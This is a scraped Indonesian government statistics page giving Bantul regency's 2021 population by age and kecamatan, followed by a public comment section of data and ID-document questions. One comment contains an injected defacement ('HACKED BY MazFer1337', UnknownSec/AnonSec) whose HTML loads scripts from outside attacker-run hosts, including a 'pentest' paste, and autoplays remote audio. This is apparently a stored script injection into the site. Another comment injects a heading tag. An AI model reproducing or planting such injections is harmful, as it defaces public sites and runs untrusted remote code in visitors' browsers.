Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KABUPATEN BANTUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSRANDAKANSANDENKRETEKPUNDONGBAMBANG LIPUROPANDAKPAJANGANBANTULJETISIMOGIRIDLINGOBANGUNTAPANPLERETPIYUNGANSEWONKASIHANSEDAYUTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun300295 595298303 601286274 560399338 737445457 902568493 1.061443360 803694634 1.328633599 1.232737757 1.494451424 8751.2741.131 2.405546522 1.068586560 1.1461.1031.060 2.1631.1071.009 2.116542527 1.06910.412 9.743 20.155
2 tahun191181 372193194 387190176 366256214 470262250 512346327 673265254 519414423 837404411 815415419 834273251 524832838 1.670383342 725375358 733697648 1.345764681 1.445351300 6516.611 6.267 12.878
3 tahun221181 402190187 377203178 381231247 478270255 525351335 686242254 496430429 859445361 806391448 839299215 514837788 1.625405395 800391386 777763602 1.365665713 1.378348292 6406.682 6.266 12.948
4 tahun212193 405152191 343174160 334235221 456278243 521294269 563248238 486390363 753385328 713465400 865264255 519793788 1.581352324 676379336 715693648 1.341714640 1.354309278 5876.337 5.875 12.212
5 tahun189190 379214184 398217195 412247256 503276262 538369338 707250250 500440444 884449389 838462446 908260236 496827804 1.631393331 724421404 825726756 1.482804718 1.522325310 6356.869 6.513 13.382
6 tahun245199 444178184 362196188 384223228 451279265 544372335 707268248 516500456 956457404 861506455 961219256 475837849 1.686370383 753347361 708743710 1.453781737 1.518333301 6346.854 6.559 13.413
7 tahun185212 397206200 406197212 409250250 500264263 527332328 660258220 478419437 856427391 818472451 923297253 550903806 1.709379371 750374431 805750690 1.440784717 1.501347353 7006.844 6.585 13.429
8 tahun203221 424225201 426204187 391272279 551309307 616370352 722293268 561518444 962480413 893459488 947278234 512955883 1.838414398 812459418 877813703 1.516853776 1.629375350 7257.480 6.922 14.402
9 tahun260211 471228224 452204217 421265244 509288276 564392353 745304285 589521464 985463478 941524420 944287271 558966927 1.893427365 792471395 866806707 1.513823787 1.610376357 7337.605 6.981 14.586
10 tahun202204 406236217 453216211 427239235 474281275 556363356 719276281 557481444 925467419 886474440 914283290 573900923 1.823415382 797404401 805727732 1.459788782 1.570373317 6907.125 6.909 14.034
11 tahun231236 467238211 449212177 389246252 498302286 588420365 785293267 560487428 915429404 833511471 982277297 574923888 1.811417373 790439428 867763749 1.512827771 1.598377358 7357.392 6.961 14.353
12 tahun249204 453250225 475234212 446285262 547321290 611414347 761314275 589535521 1.056481431 912489486 975291286 5771.033934 1.967441432 873457450 907864762 1.626793836 1.629385377 7627.836 7.330 15.166
13 tahun232205 437205210 415227207 434282262 544355280 635382358 740306259 565540484 1.024438461 899512502 1.014313277 590924891 1.815447448 895445346 791800731 1.531812785 1.597346329 6757.566 7.035 14.601
14 tahun215221 436240209 449204189 393243248 491311304 615408363 771252273 525509500 1.009439433 872472454 926278276 554983936 1.919409368 777429398 827773737 1.510876818 1.694362358 7207.403 7.085 14.488
15 tahun206207 413157174 331224180 404209202 411296273 569369323 692257238 495481483 964406409 815436408 844234244 478891841 1.732395347 742407345 752773724 1.497777712 1.489361314 6756.879 6.424 13.303
16 tahun220212 432196187 383168160 328214203 417309245 554322346 668213241 454447442 889402354 756440419 859261266 527865770 1.635393321 714368368 736739642 1.381766681 1.447389348 7376.712 6.205 12.917
17 tahun224167 391211193 404210187 397221208 429263249 512355343 698254253 507452438 890400393 793419383 802282256 538799762 1.561375317 692386404 790683634 1.317749710 1.459351326 6776.634 6.223 12.857
18 tahun206196 402211212 423237205 442247224 471282270 552368363 731299237 536465461 926422404 826430381 811280245 525915824 1.739385354 739426394 820684721 1.405786723 1.509374326 7007.017 6.540 13.557
19 tahun196191 387225189 414204203 407250255 505315269 584358339 697252255 507480411 891408363 771402446 848266244 510860775 1.635358323 681390383 773747741 1.488753727 1.480353319 6726.817 6.433 13.250
20 tahun204219 423208195 403239184 423253259 512287305 592392351 743285272 557462464 926382387 769437398 835302272 574874873 1.747362366 728432402 834773716 1.489815801 1.616381319 7007.088 6.783 13.871
21 tahun217216 433245238 483231230 461253257 510290308 598391376 767296297 593523425 948426431 857461417 878315319 634860832 1.692364341 705390396 786821737 1.558793811 1.604347343 6907.223 6.974 14.197
22 tahun189195 384200207 407201190 391212199 411235251 486332318 650244241 485395378 773343347 690392378 770288270 558745742 1.487309292 601364372 736640652 1.292710651 1.361324301 6256.123 5.984 12.107
23 tahun209226 435224230 454194237 431228232 460265265 530383365 748245269 514404398 802389392 781397432 829298276 574818782 1.600353318 671381367 748693690 1.383749744 1.493328308 6366.558 6.531 13.089
24 tahun196189 385242252 494216209 425229269 498290280 570343339 682256271 527419406 825349371 720431420 851322318 640812790 1.602334338 672372372 744699666 1.365707703 1.410362337 6996.579 6.530 13.109
25 tahun231196 427243212 455215233 448236271 507293287 580349325 674265294 559454472 926368414 782443412 855298296 594826823 1.649345403 748345375 720659692 1.351736775 1.511314327 6416.620 6.807 13.427
26 tahun221230 451262242 504226234 460290248 538301294 595390345 735291284 575441454 895446417 863448472 920321305 626832851 1.683329345 674412361 773684706 1.390859837 1.696362366 7287.115 6.991 14.106
27 tahun233220 453226240 466227208 435233237 470282234 516342346 688270287 557458426 884402400 802447431 878309301 610807819 1.626377339 716363371 734726677 1.403801802 1.603369386 7556.872 6.724 13.596
28 tahun203211 414207209 416239215 454276267 543262295 557408366 774269235 504437503 940415409 824424444 868298292 590826792 1.618362330 692365379 744667732 1.399739757 1.496365347 7126.762 6.783 13.545
29 tahun204226 430215202 417190197 387253252 505268285 553396383 779282279 561459472 931399429 828440474 914327283 610802815 1.617345360 705339366 705742696 1.438782745 1.527337337 6746.780 6.801 13.581
30 tahun193207 400202208 410198216 414255282 537271286 557369371 740235276 511426412 838395451 846464469 933283291 574809821 1.630350385 735345367 712731658 1.389737733 1.470386360 7466.649 6.793 13.442
31 tahun214221 435193213 406189199 388246258 504273296 569339330 669252277 529417459 876447376 823445430 875309294 603804817 1.621328342 670375373 748688709 1.397787800 1.587338356 6946.644 6.750 13.394
32 tahun207208 415215197 412212204 416256239 495271267 538369335 704229243 472402440 842443412 855399430 829263246 509765768 1.533317318 635334378 712676704 1.380695751 1.446354320 6746.407 6.460 12.867
33 tahun213206 419191200 391196204 400247236 483249282 531328371 699256256 512437458 895412424 836428458 886267252 519759773 1.532353361 714350406 756693744 1.437719724 1.443318291 6096.416 6.646 13.062
34 tahun199197 396158190 348182182 364244241 485288257 545344355 699259261 520461458 919402410 812457487 944253235 488811838 1.649279321 600355388 743737707 1.444746722 1.468298325 6236.473 6.574 13.047
35 tahun221199 420199172 371170203 373260251 511297313 610367400 767282275 557488448 936451408 859467470 937266284 550779865 1.644354354 708358379 737721727 1.448791790 1.581296361 6576.767 6.899 13.666
36 tahun214237 451224228 452202214 416267243 510310303 613398371 769273292 565475530 1.005476458 934537504 1.041257269 526901945 1.846367388 755450430 880818783 1.601850850 1.700349335 6847.368 7.380 14.748
37 tahun218246 464205224 429191188 379263284 547310301 611382388 770315289 604480476 956422465 887491482 973229276 505860911 1.771392378 770444406 850813778 1.591864860 1.724350364 7147.229 7.316 14.545
38 tahun286252 538246247 493246233 479269323 592364322 686449445 894305298 603557550 1.107552535 1.087599512 1.111273283 5569931.026 2.019456411 867430435 865851879 1.730946922 1.868407388 7958.229 8.061 16.290
39 tahun234216 450222236 458202209 411267295 562326306 632422386 808299280 579505530 1.035494472 966575534 1.109299253 552933973 1.906394421 815473414 887869870 1.739911873 1.784378414 7927.803 7.682 15.485
40 tahun215184 399236200 436203215 418271227 498285295 580397396 793313310 623518475 993481436 917538507 1.045292272 564987929 1.916422368 790403467 870828838 1.666887850 1.737394345 7397.670 7.314 14.984
41 tahun248218 466241245 486206214 420258240 498305297 602413387 800309289 598491471 962469446 915515488 1.003288273 5619311.010 1.941376371 747425445 870830854 1.684888856 1.744373345 7187.566 7.449 15.015
42 tahun251212 463233225 458232220 452282261 543316266 582377378 755308273 581502450 952409450 859457462 919280284 564973960 1.933416414 830437391 828781840 1.621839868 1.707387404 7917.480 7.358 14.838
43 tahun229222 451237218 455194202 396268235 503296311 607399374 773313242 555465451 916469411 880460481 941263298 561890898 1.788369371 740463402 865813745 1.558857791 1.648395377 7727.380 7.029 14.409
44 tahun213192 405216216 432222244 466260223 483257272 529397370 767280278 558461481 942438459 897473432 905286261 547925895 1.820397379 776423380 803783752 1.535836826 1.662357364 7217.224 7.024 14.248
45 tahun252244 496228259 487220229 449244256 500301307 608383352 735299264 563469491 960432429 861492456 948313296 609900907 1.807428426 854373423 796836755 1.591838832 1.670358354 7127.366 7.280 14.646
46 tahun194222 416213209 422202206 408240221 461284306 590364362 726243241 484423459 882463428 891431415 846297284 581869839 1.708367385 752391396 787784677 1.461825735 1.560358327 6856.948 6.712 13.660
47 tahun200206 406205191 396194211 405254261 515278305 583355339 694229210 439411428 839368411 779429411 840319274 593785772 1.557367362 729353380 733670700 1.370673737 1.410310309 6196.400 6.507 12.907
48 tahun204202 406230238 468224224 448211259 470337354 691365401 766273273 546466495 961452434 886473464 937337325 662868881 1.749400363 763387411 798809818 1.627770836 1.606346361 7077.152 7.339 14.491
49 tahun216208 424204235 439206219 425237246 483280246 526374371 745260253 513412452 864396409 805381393 774310297 607786833 1.619313342 655347369 716683750 1.433703760 1.463343350 6936.451 6.733 13.184
50 tahun207209 416224223 447238216 454257259 516269284 553383348 731230251 481492482 974409402 811403409 812262264 526775904 1.679374331 705365390 755713748 1.461766709 1.475341345 6866.708 6.774 13.482
51 tahun262250 512256243 499232233 465278236 514304340 644409399 808265269 534470541 1.011396462 858465458 923311335 646813888 1.701371358 729411410 821776748 1.524742807 1.549360330 6907.121 7.307 14.428
52 tahun247249 496253257 510237224 461255273 528317343 660382395 777263283 546502535 1.037435473 908406443 849307313 620820823 1.643355348 703369379 748683758 1.441739752 1.491335368 7036.905 7.216 14.121
53 tahun208224 432255223 478213221 434260243 503278346 624393399 792244217 461472492 964420415 835435452 887283314 597734810 1.544309285 594359379 738761773 1.534724753 1.477308379 6876.656 6.925 13.581
54 tahun221186 407226229 455213226 439230217 447300291 591343344 687207211 418426471 897394388 782406397 803268262 530670716 1.386273289 562337339 676608661 1.269675681 1.356313327 6406.110 6.235 12.345
55 tahun249236 485251234 485192241 433269328 597325339 664400425 825263253 516470516 986392437 829416405 821266260 526688794 1.482317336 653357420 777693746 1.439695795 1.490336339 6756.579 7.104 13.683
56 tahun201219 420216229 445229220 449248263 511323324 647369365 734223228 451466490 956392429 821377415 792205240 445660698 1.358278278 556304278 582637678 1.315610659 1.269340344 6846.078 6.357 12.435
57 tahun205221 426200215 415249208 457206240 446273332 605295388 683210221 431427512 939370411 781387429 816214262 476593754 1.347257239 496282296 578687696 1.383596698 1.294300314 6145.751 6.436 12.187
58 tahun200211 411191217 408205200 405205256 461293306 599373377 750205205 410407477 884397412 809372413 785212228 440645694 1.339247272 519274281 555558670 1.228609607 1.216285289 5745.678 6.115 11.793
59 tahun180194 374188233 421207201 408225217 442270276 546296312 608189163 352413428 841332364 696329345 674205211 416567620 1.187233225 458295264 559563604 1.167544597 1.141249271 5205.285 5.525 10.810
60 tahun207233 440192245 437189224 413237256 493276308 584363366 729226247 473393415 808343370 713408436 844197259 456612630 1.242255267 522310303 613550600 1.150538673 1.211282307 5895.578 6.139 11.717
61 tahun213214 427216184 400213232 445264251 515282319 601355346 701198258 456441441 882399390 789373435 808264294 558641691 1.332246262 508282314 596558690 1.248572625 1.197270332 6025.787 6.278 12.065
62 tahun159172 331183165 348156207 363186213 399247253 500297329 626153171 324375370 745331367 698362356 718213255 468606543 1.149202200 402265254 519541574 1.115551604 1.155242288 5305.069 5.321 10.390
63 tahun166158 324160190 350150178 328199223 422218222 440296308 604180160 340334338 672288288 576333389 722182219 401513529 1.042196181 377207239 446521499 1.020487543 1.030220271 4914.650 4.935 9.585
64 tahun133177 310170173 343148174 322165194 359166194 360252217 469150174 324299315 614272261 533310325 635161165 326441477 918164157 321199227 426470461 931438463 901223215 4384.161 4.369 8.530
65 tahun142174 316162169 331137166 303166160 326168171 339239246 485173178 351303297 600248258 506302323 625182217 399471450 921198220 418241212 453453460 913431413 844199226 4254.215 4.340 8.555
66 tahun156166 322140163 303140140 280156164 320191205 396217224 441165135 300295257 552249241 490287267 554194206 400430390 820188176 364240196 436468366 834416417 833234226 4604.166 3.939 8.105
67 tahun137123 260131142 273116134 250137132 269160136 296184186 370106105 211253242 495209167 376260241 501171147 318352338 690151139 290144176 320365318 683334326 660191160 3513.401 3.212 6.613
68 tahun120102 222117125 242109122 231125123 248157155 312182180 36210294 196217186 403205169 374238203 441131137 268340316 656135101 236131144 275350314 664312334 646163157 3203.134 2.962 6.096
69 tahun11395 208103114 21797109 206125115 240113141 254147143 29011597 212189197 386173147 320202204 406133131 264287265 552118114 232123122 245274252 526267294 561124129 2532.703 2.669 5.372
70 tahun106128 234118142 260101153 254108116 224113151 264133173 306113124 237148195 343151176 327220224 444182159 341234257 491120143 263128155 283265273 538273278 551133138 2712.646 2.985 5.631
71 tahun96108 20480126 20697130 22794148 242117179 296129147 27682101 183157165 322131164 295188209 397136177 313230232 462103108 211129164 293220205 425248232 480106129 2352.343 2.724 5.067
72 tahun79107 18676119 19583117 2007094 16495114 209114116 2306182 143140139 279104128 232138149 287107147 254166204 3707891 169105129 234181187 368191206 39799100 1991.887 2.229 4.116
73 tahun6074 1347394 1677894 1726681 1478891 17987117 2045491 14582114 19680103 18393138 23184103 187148178 3266487 15175103 178142170 312156186 3428698 1841.516 1.922 3.438
74 tahun5375 12870101 1715674 1307078 1485492 14665105 1705349 10284122 20671101 17293141 2347391 164109151 2606580 1456381 144118144 262119168 2876179 1401.277 1.732 3.009
75 tahun64109 17380146 22665135 20065112 17776116 192107154 2617286 158102148 25092171 263123185 30881142 223149186 33573101 17468116 184160213 373143201 34483133 2161.603 2.454 4.057
76 tahun7087 15788111 19967113 18085113 198104140 24471112 1834661 10783104 18779142 221103154 25773123 196130182 3124982 13184111 195123179 302136152 28893119 2121.484 2.085 3.569
77 tahun4054 947288 1607295 1676887 15564109 1736978 1473949 888997 1869197 188116139 2556474 138130129 2594469 1137269 141124122 24696148 2446588 1531.315 1.592 2.907
78 tahun5789 14688114 20280117 1977595 1707297 169121128 2495576 13194104 19885109 194112159 27184102 186142144 2866577 14210087 187136152 288141184 32589100 1891.596 1.934 3.530
79 tahun5665 1215975 1345269 1216970 1395065 1157280 1524860 10870111 1818074 1548498 1825767 1247396 1694260 1026155 11610091 19178101 1796577 1421.116 1.314 2.430
80 ke atas347536 883433564 997336622 958305547 852423648 1.071494724 1.218312516 828523713 1.236456767 1.223538959 1.497376692 1.068502771 1.273280422 702368560 928641864 1.505586854 1.440379615 9947.299 11.374 18.673
Jumlah15.46915.59831.06715.69416.12631.82015.03315.68630.71917.64418.10435.74820.56321.10241.66526.10725.86051.96718.32418.28036.60432.13732.53264.66929.29929.44958.74831.72632.13763.86319.83320.15139.98456.51856.998113.51624.47924.08648.56526.38126.62053.00150.60450.165100.76952.28852.525104.81324.13524.15448.289 476.234 479.573 955.807
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih